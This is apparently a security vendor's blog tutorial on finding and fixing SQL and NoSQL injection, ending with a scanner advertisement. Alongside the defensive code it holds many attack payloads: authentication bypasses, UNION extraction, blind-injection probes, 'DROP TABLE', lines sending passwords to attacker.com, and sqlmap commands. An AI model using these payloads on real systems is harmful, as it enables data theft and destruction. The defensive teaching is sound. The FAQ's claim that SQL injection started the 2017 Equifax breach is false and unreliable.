Blog
sql-injectionsecurityvulnerabilitiesdatabase

SQL Injection Prevention: How to Find and Fix SQLi Vulnerabilities

CheckVibe Team
16 min read

SQL injection (SQLi) remains the most dangerous web vulnerability — it's been in the OWASP Top 10 since its creation. A single SQLi flaw can expose your entire database. According to vulnerability databases, SQL injection accounts for roughly 20% of all reported web application vulnerabilities, and it consistently appears in post-breach analyses of major data leaks. If you're building anything that talks to a database, this guide is essential reading.

What Is SQL Injection?

SQL injection happens when user input is inserted directly into a SQL query without proper sanitization. The attacker's input changes the query's logic, turning a harmless data lookup into a command that can read, modify, or destroy your data.

Vulnerable code:

// NEVER do this
const query = `SELECT * FROM users WHERE email = '${email}'`;

If the attacker enters ' OR '1'='1 as the email, the query becomes:

SELECT * FROM users WHERE email = '' OR '1'='1'

This returns every user in the database. The attacker didn't need credentials, brute force, or any sophisticated tooling. They just typed a carefully crafted string into a form field.

The root cause is always the same: the application treats user-supplied data as trusted SQL code. The fix is always the same: never concatenate user input into queries. Everything else in this guide builds on that principle.

Types of SQL Injection

1. Classic (In-Band) SQLi

The attacker sees the results directly in the response. This is the simplest form — error messages or data appear on the page. There are two sub-types:

Error-based: The attacker intentionally triggers database errors that leak information about the schema. For example, injecting a CONVERT() or CAST() call that fails can reveal column names and data types in the error message:

' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--

UNION-based: The attacker appends a UNION SELECT to piggyback on a legitimate query and extract data from other tables. This requires matching the number of columns in the original query.

2. Blind SQLi

The application doesn't show query results, but the attacker can infer information:

  • Boolean-based: The page changes based on true/false conditions

    /users?id=1 AND 1=1  (normal page)
    /users?id=1 AND 1=2  (different page)
    

    By asking a series of true/false questions, the attacker can extract data one bit at a time. For example, to extract the first character of the admin password:

    /users?id=1 AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin') > 64
    
  • Time-based: The response time reveals information

    /users?id=1; WAITFOR DELAY '00:00:05'--
    

    If the response takes 5 seconds, the injection worked. The attacker uses conditional delays to extract data:

    /users?id=1; IF (SELECT LEN(password) FROM users WHERE username='admin') > 8 WAITFOR DELAY '00:00:05'--
    

Blind SQLi is slower to exploit but just as dangerous. Automated tools like sqlmap can extract entire databases through blind injection given enough time.

3. Out-of-Band SQLi

The attacker uses database features to send data to an external server (DNS lookups, HTTP requests). Rare but powerful. This technique works when the application doesn't return results inline and time-based detection is unreliable:

-- SQL Server: DNS exfiltration
'; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '.txt'--

-- Oracle: HTTP request
'; SELECT UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT password FROM users WHERE rownum=1)) FROM dual--

4. Second-Order SQL Injection

Second-order injection is particularly insidious because the malicious payload is stored safely first and only executed later. The attacker submits input that is properly escaped and safely stored in the database. Later, a different part of the application reads that stored value and uses it in a SQL query without parameterization.

Example scenario:

  1. The attacker registers with the username admin'--
  2. The registration query uses parameterized queries, so the username is safely stored
  3. Later, a password change function reads the username from the database and builds a query:
// Step 1: Safe registration (parameterized)
await pool.query('INSERT INTO users (username, password) VALUES ($1, $2)', [username, hash]);

// Step 2: Unsafe password change (reads stored username, concatenates it)
const user = await getLoggedInUser(); // returns { username: "admin'--" }
const query = `UPDATE users SET password = '${newPassword}' WHERE username = '${user.username}'`;
// Becomes: UPDATE users SET password = 'newpass' WHERE username = 'admin'--'

The password change now modifies the admin's password instead. Second-order injection is harder to detect because the initial input passes all validation checks — the vulnerability is in a completely different code path.

Prevention: Parameterize every query, even when the data comes from your own database. Never trust data just because it's already stored.

NoSQL Injection

SQL injection isn't limited to relational databases. NoSQL databases like MongoDB are vulnerable to their own form of injection when user input is passed directly into query objects.

Vulnerable MongoDB code:

// NEVER do this
const user = await db.collection('users').findOne({
  username: req.body.username,
  password: req.body.password
});

An attacker can send a JSON body like:

{
  "username": "admin",
  "password": { "$ne": "" }
}

The $ne (not equal) operator matches any non-empty password, effectively bypassing authentication. Other dangerous operators include $gt, $regex, and $where:

// Regex-based extraction
{ "username": "admin", "password": { "$regex": "^a" } }

// $where injection (executes JavaScript)
{ "$where": "this.username === 'admin' && this.password.length > 0" }

Prevention for MongoDB:

// Sanitize: strip MongoDB operators from input
import mongoSanitize from 'express-mongo-sanitize';
app.use(mongoSanitize());

// Or validate input types explicitly
const username = String(req.body.username);
const password = String(req.body.password);
const user = await db.collection('users').findOne({ username, password });

Real Attack Scenarios

Scenario 1: Authentication Bypass

Username: admin' --
Password: anything

Query becomes:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'

The -- comments out the password check. The attacker logs in as admin.

Scenario 2: Data Exfiltration with UNION

/products?category=electronics' UNION SELECT username, password FROM users --

The attacker piggybacks on a legitimate query to extract data from a different table. To make a UNION attack work, the attacker first determines the number of columns using ORDER BY:

/products?category=electronics' ORDER BY 1--  (works)
/products?category=electronics' ORDER BY 2--  (works)
/products?category=electronics' ORDER BY 3--  (works)
/products?category=electronics' ORDER BY 4--  (error - only 3 columns)

Then they can extract data:

/products?category=electronics' UNION SELECT username, password, NULL FROM users--

Scenario 3: Database Destruction

/search?q='; DROP TABLE users; --

The attacker terminates the current query and executes a destructive command. This is the famous "Bobby Tables" attack. While modern database drivers often disable multi-statement execution by default, stacked queries are still possible in some configurations, especially with SQL Server and PostgreSQL's pg_query function.

Scenario 4: Privilege Escalation

/profile?id=1; UPDATE users SET role = 'admin' WHERE username = 'attacker'--

The attacker promotes their own account to admin. Even without stacked queries, an UPDATE injection in a different context (like a profile update form) can modify any column in the table.

Stored Procedures: Are They Safe?

A common misconception is that stored procedures automatically prevent SQL injection. They don't — it depends on how they're written.

Vulnerable stored procedure:

-- BAD: Dynamic SQL inside stored procedure
CREATE PROCEDURE GetUser(@username VARCHAR(100))
AS
BEGIN
    EXEC('SELECT * FROM users WHERE username = ''' + @username + '''')
END

This is just as vulnerable as inline SQL concatenation. The EXEC() call builds a dynamic query from the parameter.

Safe stored procedure:

-- GOOD: Parameterized query inside stored procedure
CREATE PROCEDURE GetUser(@username VARCHAR(100))
AS
BEGIN
    SELECT * FROM users WHERE username = @username
END

Key rule: Stored procedures are safe only when they use parameterized queries internally. If they use dynamic SQL (EXEC, sp_executesql without parameters, or string concatenation), they're vulnerable.

Stored procedures do provide one security benefit: you can grant users EXECUTE permission on procedures while denying direct table access. This adds a layer of access control, but it's not a substitute for parameterized queries.

How to Prevent SQL Injection

1. Use Parameterized Queries (Prepared Statements)

This is the primary defense. Parameters are treated as data, never as SQL code.

// Node.js with pg
const result = await pool.query(
  'SELECT * FROM users WHERE email = $1',
  [email]
);

// Node.js with mysql2
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE email = ? AND status = ?',
  [email, status]
);
# Python with psycopg2
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))

# Python with SQLAlchemy Core
from sqlalchemy import text
result = conn.execute(text("SELECT * FROM users WHERE email = :email"), {"email": email})
// Go with database/sql
row := db.QueryRow("SELECT * FROM users WHERE email = $1", email)

Parameterized queries work because the database engine separates the query structure from the data. The parameters are sent through a different channel than the SQL code, so they can never be interpreted as commands.

2. Use an ORM (But Understand Its Limits)

ORMs like Prisma, Drizzle, or SQLAlchemy parameterize queries by default:

// Prisma - automatically parameterized
const user = await prisma.user.findUnique({
  where: { email: userInput },
});

However, ORMs can still be vulnerable. Every major ORM provides escape hatches for raw SQL, and those escape hatches are where injection happens:

// Prisma raw query - VULNERABLE if you concatenate
const users = await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE email = '${email}'`);

// Prisma raw query - SAFE with tagged template
const users = await prisma.$queryRaw`SELECT * FROM users WHERE email = ${email}`;

// Drizzle raw SQL - VULNERABLE
import { sql } from 'drizzle-orm';
const result = await db.execute(sql.raw(`SELECT * FROM users WHERE email = '${email}'`));

// Drizzle raw SQL - SAFE with placeholder
const result = await db.execute(sql`SELECT * FROM users WHERE email = ${email}`);

Query builders can also introduce injection if you pass unsanitized input to methods that accept raw identifiers:

// VULNERABLE: dynamic column name from user input
const column = req.query.sortBy; // attacker sends: "name; DROP TABLE users--"
const users = await knex('users').orderBy(column);

// SAFE: validate against allowlist
const ALLOWED_COLUMNS = ['name', 'email', 'created_at'];
const column = ALLOWED_COLUMNS.includes(req.query.sortBy) ? req.query.sortBy : 'created_at';
const users = await knex('users').orderBy(column);

Rule of thumb: The ORM's standard API is safe. Any method that accepts raw strings ($queryRawUnsafe, sql.raw, knex.raw) must be treated with the same care as direct SQL.

3. Use Supabase's Query Builder

Supabase's JavaScript client automatically parameterizes:

// Safe - parameterized by Supabase
const { data } = await supabase
  .from('users')
  .select('*')
  .eq('email', userInput);

But watch out for raw SQL via .rpc() — ensure your Postgres functions use parameters.

// Safe: RPC with parameterized function
const { data } = await supabase.rpc('get_user_by_email', { user_email: userInput });

// The function must be written safely:
// CREATE FUNCTION get_user_by_email(user_email TEXT)
// RETURNS SETOF users AS $$
//   SELECT * FROM users WHERE email = user_email;
// $$ LANGUAGE sql SECURITY DEFINER;

Also be careful with Supabase's .filter() method when using complex filter strings — stick to the type-safe methods like .eq(), .gt(), .in(), etc. For more Supabase-specific security guidance, see our Supabase security checklist.

4. Input Validation

Validate input types before they reach the database:

import { z } from 'zod';

const schema = z.object({
  email: z.string().email(),
  age: z.number().int().min(0).max(150),
  role: z.enum(['user', 'editor', 'admin']),
  id: z.string().uuid(),
});

// Validate and parse
const result = schema.safeParse(req.body);
if (!result.success) {
  return NextResponse.json({ error: 'Invalid input' }, { status: 400 });
}
// Use result.data — typed and validated

Input validation is an important layer but it is not a substitute for parameterized queries. Even perfectly validated input should go through parameterized queries. Validation reduces the attack surface; parameterization eliminates the vulnerability class entirely.

5. Principle of Least Privilege

Your database user should only have the permissions it needs. Don't connect with a superuser account. In Supabase, use the anon key with RLS — never expose the service role key.

-- Create a restricted database user for your application
CREATE ROLE app_user WITH LOGIN PASSWORD 'strong_password';

-- Grant only what's needed
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
-- Don't grant DELETE unless the app needs it
-- Never grant DROP, ALTER, or EXECUTE on system functions

-- Revoke access to sensitive tables
REVOKE ALL ON api_keys FROM app_user;
REVOKE ALL ON billing FROM app_user;

If your application user can't DROP TABLE, then even a successful injection can't destroy your data. This doesn't prevent data theft, but it limits the blast radius.

Defense in Depth: Layering Your Protections

No single defense is sufficient on its own. The strongest protection combines multiple layers:

  1. Parameterized queries — eliminates the vulnerability at the source
  2. Input validation — rejects obviously malicious input early
  3. Least privilege — limits what an attacker can do even if injection succeeds
  4. Web Application Firewall (WAF) — blocks common injection patterns at the network edge
  5. Monitoring and alerting — detects injection attempts in real time

A WAF (like Cloudflare WAF, AWS WAF, or ModSecurity) can catch known injection patterns before they reach your application. However, WAFs are a safety net, not a fix — they can be bypassed with encoding tricks and novel payloads. Always fix the underlying vulnerability rather than relying on the WAF to block attacks.

For a comprehensive security strategy that goes beyond just SQL injection, check out the OWASP Top 10 checklist and our API security checklist.

Testing for SQL Injection

Before relying solely on automated scanners, it's useful to understand how to manually test for SQL injection. These tests can be run against your own applications (never against systems you don't own).

Basic Detection Payloads

Start with these in any user-facing input field, URL parameter, or API parameter:

'          (single quote — does the app throw a database error?)
''         (two quotes — does the error go away?)
' OR '1'='1
' OR '1'='1' --
" OR "1"="1
1 OR 1=1
1' ORDER BY 1--
1' ORDER BY 100--    (high number to trigger error)

If the single quote causes a database error or different behavior, the input is likely being concatenated into a query.

Authentication Bypass Tests

Try these in login forms:

admin' --
admin' #
' OR 1=1 --
' OR 1=1 #
') OR ('1'='1
') OR ('1'='1' --

UNION-Based Tests

To check if UNION injection is possible:

' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--

Increment the number of NULL values until the error changes (indicating you've matched the column count).

Time-Based Blind Tests

If the application doesn't show errors:

'; WAITFOR DELAY '00:00:05'--          (SQL Server)
'; SELECT pg_sleep(5)--                 (PostgreSQL)
' OR SLEEP(5)#                          (MySQL)

If the response is delayed by 5 seconds, blind injection is confirmed.

Automated Testing with sqlmap

For thorough testing, sqlmap is the standard open-source tool:

# Basic test against a URL parameter
sqlmap -u "https://yourapp.com/api/users?id=1" --batch

# Test POST data
sqlmap -u "https://yourapp.com/api/login" --data="email=test&password=test" --batch

# Test with authentication cookie
sqlmap -u "https://yourapp.com/api/profile?id=1" --cookie="session=abc123" --batch

Important: Only test applications you own or have explicit written permission to test. Unauthorized testing is illegal in most jurisdictions.

Detecting SQL Injection Automatically

CheckVibe's SQL Injection Scanner tests all accessible input vectors:

  • URL parameters
  • Form fields
  • HTTP headers
  • Cookie values

It uses error-based, time-based, and blind injection payloads to detect both classic and modern injection patterns across every page discovered by site crawling.

Test your app for SQL injection — free, automated, 60 seconds.

FAQ

Can SQL injection happen with an ORM?

Yes. While ORMs parameterize their standard query methods, every major ORM provides raw query escape hatches ($queryRawUnsafe in Prisma, sql.raw() in Drizzle, .extra() in Django ORM). If you concatenate user input into these raw queries, you're just as vulnerable as with plain SQL. Additionally, dynamic column or table names passed to query builders can be injectable. Always validate identifiers against an allowlist and use parameterized raw queries when you need raw SQL.

Is Supabase safe from SQL injection?

Supabase's JavaScript client library (.from().select().eq()) parameterizes queries automatically, making standard usage safe. However, two areas need caution: (1) RPC calls to custom Postgres functions — the function itself must use parameterized queries internally, and (2) Row Level Security policies that use complex SQL expressions. Supabase with RLS properly configured is one of the safer setups because even if injection occurs, RLS limits what the attacker can access. But no tool makes you immune by default — the security depends on how you write your queries and functions.

How do I test for SQL injection?

Start with manual testing: enter a single quote (') in every input field and observe the response. If you see a database error, that's a strong indicator of SQL injection. Progress to boolean-based tests (' OR '1'='1), time-based tests ('; SELECT pg_sleep(5)--), and automated tools like sqlmap. For production applications, use an automated scanner like CheckVibe that tests hundreds of payloads across all input vectors without disrupting your users.

What's the worst that can happen with SQL injection?

The worst case is total compromise: the attacker reads your entire database (usernames, passwords, personal data, payment information), modifies records (escalates their privileges, changes prices, alters orders), deletes data (drops tables), and in some configurations, executes operating system commands on the database server. Major breaches like the 2017 Equifax breach (147 million records) and the Heartland Payment Systems breach (130 million card numbers) involved SQL injection as the initial attack vector.

Does input validation prevent SQL injection?

Input validation reduces the attack surface but does not prevent SQL injection on its own. A strict email validation regex will reject most injection payloads in an email field, but it's not a fix — it's a filter that can be bypassed. For instance, some injection payloads can be crafted to look like valid emails. The only reliable prevention is parameterized queries, which structurally separate code from data. Use input validation as an additional layer, not as your primary defense. See our API security checklist for a complete approach to input handling.

Is your app vulnerable?

Paste your URL and get a security report in 30 seconds. 100+ automated checks, AI-powered fix prompts for Cursor & Copilot.

Scan Your App Free